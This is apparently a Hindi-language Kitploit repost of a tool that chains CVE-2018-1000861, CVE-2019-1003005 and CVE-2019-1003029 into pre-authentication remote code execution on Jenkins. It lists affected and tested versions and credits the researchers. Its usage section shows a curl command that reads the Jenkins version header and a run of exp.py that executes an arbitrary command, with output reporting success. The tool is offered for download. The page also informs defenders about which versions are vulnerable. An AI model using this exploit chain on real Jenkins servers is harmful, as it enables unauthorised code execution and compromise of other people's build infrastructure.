awesome-jenkins-rce-2019 — मई 2017 से Jenkins में कोई pre-auth RCE नहीं है, लेकिन यह वही है! | Kitploit

awesome-jenkins-rce-2019

मई 2017 से Jenkins में कोई pre-auth RCE नहीं है, लेकिन यह वही है!

यह CVE-2018-1000861, CVE-2019-1003005 और CVE-2019-1003029 को जोड़कर एक अधिक विश्वसनीय और सुरुचिपूर्ण pre-auth रिमोट कोड निष्पादन बनाता है!

प्रभावित सूची

ANONYMOUS_READ अक्षम
- Jenkins संस्करण < 2.138
ANONYMOUS_READ सक्षम(या सामान्य उपयोगकर्ता खाते के साथ)
- Jenkins बिल्ड समय < 2019-01-28

उपयोग

$ curl -s -I http://jenkins/| grep X-Jenkins
X-Jenkins: 2.137
X-Jenkins-Session: 20f72c2e
X-Jenkins-CLI-Port: 50000
X-Jenkins-CLI2-Port: 50000

$ python exp.py http://jenkins/ 'curl orange.tw'
[*] ANONYMOUS_READ disable!
[*] Bypass with CVE-2018-1000861!
[*] Exploit success!(it should be :P)

परीक्षण किया गया

Jenkins 2.53
Jenkins 2.122
Jenkins 2.137
Jenkins 2.138 with ANONYMOUS_READ enable
Jenkins 2.152 with ANONYMOUS_READ enable
Jenkins 2.153 with ANONYMOUS_READ enable
Script Security Plugin 1.43
Script Security Plugin 1.48

आभार

@orange_8361 CVE-2018-1000861 के लिए
@0ang3el CVE-2019-1003005 के लिए
@webpentest CVE-2019-1003029 के लिए

मेरी HITB AMS 2019 टॉक की कुछ स्लाइड्स:

संदर्भ

टूल डाउनलोड करें